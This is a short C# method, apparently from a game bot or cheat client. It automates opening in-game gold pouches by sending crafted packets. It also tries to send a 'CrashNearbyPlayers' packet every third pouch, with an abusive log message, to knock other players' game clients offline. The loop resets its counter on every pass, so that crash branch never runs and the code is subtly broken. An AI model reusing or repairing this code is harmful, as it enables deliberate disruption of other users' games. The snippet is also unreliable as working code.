public void OpenGoldPouches() { while (Client.GoldPouches.Count > 0) { int counter = 0; if (Client.session.Connected == true) { long itemUUID = Client.GoldPouches.Dequeue(); this.Send(PacketFactory.OpenCashPouch(itemUUID)); Thread.Sleep(3000); this.Send(PacketFactory.FinishOpenCashPouch(itemUUID)); Thread.Sleep(1000); Console.WriteLine("Opened gold pouch!"); counter++; if (counter % 3 == 0) { Console.WriteLine("Crashing nearby assholes!"); this.Send(PacketFactory.CrashNearbyPlayers(this.Client.Magic)); } } else { return; } } }